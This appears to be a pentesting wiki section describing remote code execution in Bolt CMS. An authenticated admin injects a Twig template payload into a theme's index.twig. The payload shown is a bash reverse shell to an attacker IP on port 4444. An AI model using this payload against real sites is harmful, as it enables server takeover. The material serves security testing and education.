## RCE

After login as admin (go to /bot lo access the login prompt), you can get RCE in Bolt CMS:

- Select `Configuration` -> `View Configuration` -> `Main Configuration` or go the the URL path `/bolt/file-edit/config?file=/bolt/config.yaml`
  - Check the value of theme

- Select `File management` -> `View & edit templates`
  - Select the theme base found in the previous (`base-2021` in this case) step and select `index.twig`
  - In my case this is in the URL path /bolt/file-edit/themes?file=/base-2021/index.twig
- Set your payload in this file via [template injection (Twig)](../../pentesting-web/ssti-server-side-template-injection/index.html#twig-php), like: `{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}`
  - And save changes

- Clear the cache in `Maintenance` -> `Clear the cache`
- Access again the page as a regular user, and the payload should be executed
